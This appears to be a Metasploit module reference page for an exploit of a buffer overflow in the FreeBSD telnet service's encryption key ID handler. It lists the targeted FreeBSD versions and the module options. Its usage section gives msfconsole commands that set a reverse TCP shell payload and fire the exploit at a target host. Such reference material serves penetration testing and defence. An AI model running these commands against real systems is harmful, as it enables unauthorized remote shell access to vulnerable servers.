Browse Exploit & Auxiliary Modules

The Metasploit Project hosts the world's largest database of quality assured exploits, including hundreds of remote exploits, auxiliary modules, and payloads. You can even review the Metasploit Framework source code of any module - or write your own.

Search for modules

FreeBSD Telnet Service Encryption Key ID Buffer Overflow

This module exploits a buffer overflow in the encryption option handler of the FreeBSD telnet service.


Rank

  • Great

Authors

  • Jaime Penalba Estebanez < jpenalbae [at] gmail.com >
  • Brandon Perry < bperry.volatile [at] gmail.com >
  • Dan Rosenberg < >
  • hdm < hdm [at] metasploit.com >

References


Exploit Targets

  • 0 - Automatic (default)
  • 1 - FreeBSD 8.2
  • 2 - FreeBSD 8.1
  • 3 - FreeBSD 8.0
  • 4 - FreeBSD 7.3/7.4
  • 5 - FreeBSD 7.0/7.1/7.2
  • 6 - FreeBSD 6.3/6.4
  • 7 - FreeBSD 6.0/6.1/6.2
  • 8 - FreeBSD 5.5
  • 9 - FreeBSD 5.3

Development


Similar Modules


Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/freebsd/telnet/telnet_encrypt_keyid
msf exploit(telnet_encrypt_keyid) > show payloads
msf exploit(telnet_encrypt_keyid) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(telnet_encrypt_keyid) > set LHOST [MY IP ADDRESS]
msf exploit(telnet_encrypt_keyid) > set RHOST [TARGET IP]
msf exploit(telnet_encrypt_keyid) > exploit


Module Options

PASSWORD The password for the specified username
RHOST The target address
RPORT The target port (default: 23)
USERNAME The username to authenticate as
CHOST The local client address
CPORT The local client port
ConnectTimeout Maximum number of seconds to establish a TCP connection
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
Proxies Use a proxy chain
SSL Negotiate SSL for outgoing connections
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
TelnetBannerTimeout The number of seconds to wait for the initial banner
TelnetTimeout The number of seconds to wait for a reply from a Telnet command
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session
TCP::max_send_size Maxiumum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)